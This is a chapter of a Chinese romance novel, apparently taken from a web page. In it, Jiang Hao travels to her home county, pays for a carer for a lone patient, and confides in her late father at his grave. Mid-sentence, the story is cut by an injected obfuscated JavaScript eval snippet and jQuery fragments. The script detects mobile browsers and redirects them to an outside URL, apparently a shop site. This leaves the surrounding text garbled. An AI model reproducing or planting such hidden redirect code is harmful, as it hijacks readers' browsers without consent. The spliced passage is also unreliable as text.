面对这次的出差，安知序毫无异议。
他也想起来了：“啊，是……要不要我陪你？”
姜好摇摇头：“不用。”
她的家乡，是紧邻南庆市下方的一座小县城。她已记不清是在哪里读到过这样的观点：在资源与机会都相对凝滞的小城，绝大部分的优质资源，往往如同受到引力作用般，会源源不断地汇聚到极少数人手中。
对于这个群体和他们的后代而言，扎根于这片熟悉的土地，背靠家族荫庇，所能获得的舒适与掌控感，远胜于在大城市作为一个“异乡人”的漂泊与挣扎。
这些人，被戏称为“县城婆罗门”。
姜好好像就是其中一员，至少在父亲离世、母亲离开家乡以前，她是的。
姜好独自乘坐高铁返乡。短短半小时的车程，窗外的景致已从都市的繁华天际线，切换为小城疏朗的天空与低矮的建筑群。
刚走到出站口，好几拨人便迅速围拢上来，手里举着简陋的价格板，操着浓重的口音热情招揽：“五十！五十！去哪里都五十！”
她娴熟地切换到方言：“去第一医院。十五块，贵了不走。”
她对家乡这一亩天地太熟悉，她在心里盘算，十五元，还多了些。
果然，话音刚落，立刻有人高高举起手：“走！走！小妹跟我来！”
姜好跟着那个应声的女人，上了停在广场的黑车，前往第一医院。
今天这场出差，像是为她量身定做。
任务是探望一位病人，就像森愈开业前所做的那样，以后她要转入森愈进行训练。姜好猜测这大抵又是一个公益诊疗的病患，进入病房后果然验证了她的猜想。
她和这位四十多岁的中年女人聊了一会，她没有孩子，没有家属，凡事只能靠自己。入院以来，从缴费到打水打饭，都是她拖着病体，一点一点艰难挪动完成。
她误以为姜好是外地人，努力地卷着舌头，用生硬而不标准的普通话，断断续续地与她交流。听着那熟悉的乡音词汇别扭地掺杂在普通话里，姜好心头一软，她俯下身，用纯正的、带着小城特有韵律的方言轻声对她说：“我给你请个护理吧。”
女人先是一愣，随即脸上浮现出惶恐，连连摆手，用方言急切地拒绝：“不用，不用，太费钱了！”
“每天就来两个钟头，帮你打打饭，擦擦身，扶你上下床，”姜好看了看她的腿，难以想象这段日子她是如何独自熬过来的，“这个钱我帮你出，不碍事的。”
女人依然固执地拒绝，姜好没有再坚持，只是默默地将这个话题按下。她细致地了解了女人的病情和现状，又陪她说了一会儿话，才起身离开。
在住院部楼下，她找到那群等待雇主的女护理们，挑了一个看着麻利的、眼神淳朴的中年妇女。
她走过去，用方言低声交代了病房号和要求：“你晚上去上工，照顾细心点。工钱我按市价多两成给你，每天现结。”
两人加了联系方式，姜好取出钱包，拿了两张红票子给她：“如果她问起来，你就说是社区派来的志愿者。”
出了医院，也有不少人招呼她上车。姜好冷着脸从他们之间穿过，走向公交车站。
这些年，不论城市大小，公交车的落寞似乎已成定局。大城市的衰败，源于修了地铁，可选性多了；小城市的凋零，是因为人少了。
从前很容易等到的公交车，如今姜好在空荡的站台边等了近半小时。
炎夏站在毫无荫蔽的路边，鬓角早已湿了。上车后，她寻到靠窗的座位，取出纸巾擦拭。
车窗像一帧缓慢滚动的胶片，映出窗外徐徐后退的街景。大多还是记忆中的轮廓，只是蒙上了一层时光的尘埃。有些她小时候常流连的地方，比如那家总飘着油墨香的书店，如今已被推平，围起了印着房产广告的蓝色挡板，想来不久后，又一片商品房将拔地而起。
尽管与繁华的南庆仅咫尺之遥，但这座小城的发展却像是被按下了慢放键，始终跟不上邻居的步伐。姜好时常在网络上看到同乡人自嘲是南庆的血泵，人才、资源、消费力，都沿着那条高效的高铁线路，被源源不断地吸纳过去，滋养着大城市的肌体。
后来，连这样的抱怨也渐渐稀落了。因为对于年轻一代而言，离开这里，奔赴南庆，实在是一件轻而易举的事。半小时高铁，进退自如，仿佛只是从一个房间走到另一个。
从小到大，姜好对这些没多大感触。她的童年几乎与南庆无关，她是在这座小城的脉络里，安静地呼吸、长大的。
就算小时候父母带她去过南庆，那座城市的繁华景象，也早已在记忆里模糊成了斑斓却失焦的光晕。
大概因为，小时候拥有的那一切，对她而言，就已足够填满全世界。
姜书昀在当地最好的中学任职。小时候，他是老师，后来成了年级主任，再后来，成了教导主任。然而，教导主任的椅子只坐了一年，他便去世了。
姜书昀的离世，姜好没有做好准备。查出来时，就已经是肺癌晚期。
好奇怪，姜书昀从来不抽烟。因为他对烟过敏。当然，就算不过敏，姜书昀大概也不会沾染。
对于他们的疑问，医生已司空见惯，平静地解释，常年吸入粉笔的烟尘，也可能沉积于肺，引燃灾厄。
一家人在一起的最后时光，姜好并不觉得多幸福。
她知道姜书昀马上就要离开，她马上就没有父亲了。但是，她似乎并不因为这个人的离开而觉得悲伤。
相反，她想到的是从此她的世界里再也没有他的痕迹。她甚至不想去医院，不想看见姜书昀糟糕的模样。
虽然这样说很没良心，但姜好竟然觉得，父亲的离世对她最大的影响是，它改变了她原有的生活内容。
那些由他构筑的，温暖而安稳的日常，分崩离析。从此，童年里那些闪着柔光的幸福记忆，如今如同失去了坐标的浮标，再也找不到归处，也再也无法被复刻了。
它们被永远留在了时光的对岸，姜好无法下水泅渡回去寻找，她唯一能做的，就是拼命向前游，试图在茫茫人生海中，找到另一个可以靠岸的彼岸。
姜书昀在世上的最后时光，他与柳黛的争吵越来越频繁。声音穿透薄薄的房门，一些尖锐的碎片扎进了姜好心里。
她似乎听到，她不是姜书昀的亲生女儿。
她并非母亲婚内出轨的产物，而是在柳黛与姜书昀结婚之前，便已存在于母亲腹中。姜书昀从一开始，就知情地接纳了这一切。
这个推测，放在一生温良的姜书昀身上很合理。她知道父亲很善良，她也知道父亲很爱母亲，她更知道母亲对父亲的感情，远不及对方那般厚重沉溺。
不过，这些已无从查证了。不多久，姜书昀就去世了。
后来，她来到南庆读大学，在一间密闭的屋子里，旁人抽烟，姜好咳个不停，眼睛不住地流眼泪，脖子也起了红疹。
程泛声立刻带她离开。吸了一会新鲜空气，她说没事了，程泛声坚持带她来医院检查。
医生问她是不是过敏，她说我不知道。
“啊，但是我爸爸对烟过敏。”
话说出来后，姜好又想，不对，姜书昀不是她亲生父亲，怎么会遗传到她身上。
但是做了过敏检查后，她竟然真的对烟味过敏。她又有些不确定了，难道那只是他们的气话，其实她真的就是姜书昀的亲女儿？
但，那些都不重要了。
她爱姜书昀，就像姜书昀毫无保留地爱她一样。在彼此的生命里，姜书昀只有她这一个女儿，她也只有姜书昀这一个父亲。血缘在此刻，渺小而苍白。
姜好在终点站的前一站下车，车上除了司机再无别的乘客。
这座墓园，在这座小城市里显得过分新。尽管它其实也修了近十年了。
她拾阶而上，一级一级，走了很久，才来到姜书昀的墓前。她太久没来，甚至走错了路，看到碑上陌生的名字，才反应过来。
“啊，爸爸，对不起。”
她没有带花，也没有带任何祭品。
不过，姜书昀不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157537|191701||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会怪她的。
她取出纸巾，仔仔细细擦拭着墓碑上的浮尘与雨渍，仿佛在为他整理衣领。
她靠着冰凉的墓碑坐下来，“我想你了，爸爸。”
周遭寂静，只有风吹过的沙沙声。
过了一会，她问：“你想我吗？”
她多久没来了？去美国后再也没来过。上次来，还是程泛声陪在她身边。陪她承担着这份生命不能承受之重。
姜好向他汇报她的近况，就像小时候放学回家，絮絮叨叨地讲述一天的经历。
“这些年发生了好多事情，爸爸。”
她想要事无巨细地讲给他听，姜书昀一定渴望知道她生命中的每一个细节，但千头万绪堵在胸口，她发现自己做不到原原本本的复述。
千言万语，最终只凝炼成一句。
“我想我马上就要结婚了。”
阳光刺进眼底，她闭上眼，光斑落在眼皮上，朦朦胧胧地投进脑海。
“他是爱我的，我知道。但是他脾气可能没有你好，但是……他很有钱，我下半辈子可以做喜欢的工作，不必为生计发愁。嗯，虽然也会有一些我不喜欢的工作、不喜欢的场合强加在我身上，但是我想，比起我得到的这些，我应该还可以接受。”
断断续续地，她将自己离开他后的这些年，慢慢讲给了这块冰冷的石头听。思绪飘忽间，她又想起了妈妈。
似乎有一种说法，孩子年幼时会天然地亲近与自己性别相异的一方，待到长大，又会渐渐疏远。但这条定律在姜好身上失了效。她从小就像条小尾巴，紧紧黏在姜书昀身后，与他无比亲密，这份依赖，贯穿了她的整个成长，直至他生命终结。
即便是女孩子那些私密的事情，姜书昀也能够体贴地帮她准备好一切。她人生中第一次月经来潮，是姜书昀给她买卫生巾，教她怎么使用。
而她和母亲之间，仿佛永远隔着一层朦胧的、无法穿透的薄纱。
她不知道这层纱，是谁置放在那里的。
从她记忆开始，她和母亲的关系就可以用若即若离来形容。姜书昀在世时，他会用他的爱，巧妙地掀开这层纱，让不够浓厚的爱透进来。
他离开后，再无人掀纱，而纱的厚度，竟也开始与日俱增。
一道、两道……层层叠叠，交织缠绕。
最终它们不再飘拂，凝固成一堵透明却无比坚韧的墙，无声无息，却又沉重万分，伸手触及，唯有冰冷。
姜好将双腿蜷起，下巴轻轻抵在膝盖上，声音小得像是说给风听：“妈妈生了一场很严重的病。”
她抬起手，指节拭去眼角不自觉溢出的湿意。
“但是已经好了。爸爸不用担心。妈妈做了两次手术。现在……”
她本不想再说下去，但欺骗这个世界上最爱她的人，她做不到。
“妈妈……再婚了。放心，妈妈挑男人的眼光一直还不错。那个男人还不错，就是，就是，”她想起与那个加拿大男人的第一次见面，对方热情却带着浓重体味的拥抱，她忍不住笑起来，“体味有点重。”
笑声的尾音尚未消散，温热的眼泪却再次决堤，从她带着苦涩笑意的脸颊上滑落。
她慌忙低下头，手掌胡乱地擦去眼泪。
“爸爸，妈妈，我想你们。”
脸试图埋进膝盖，寻求形同拥抱的温暖。
就在这一刻。
一双手，带着记忆里熟悉的温度，轻轻地落在她轻颤的肩头。
姜好浑身一僵，还未等她反应过来，一股更大的力量传来，她被不由分说地向前揽去，侧脸撞进一个坚实而温热的胸膛。
她能清晰地感受到他胸膛下失序的心跳，透过微凉的衣料，一声声，沉重而狂野，敲击着她的耳膜，与她的心跳疯狂缠绕、共振。
仿若一场盛大的流星雨。
时空在断裂，宇宙在坍缩，世界末日即将降临。
原本该推开，理应该推开，理智在叫嚣，情感在缴械。
时隔多年，她的泪水再次洇湿他的肩头。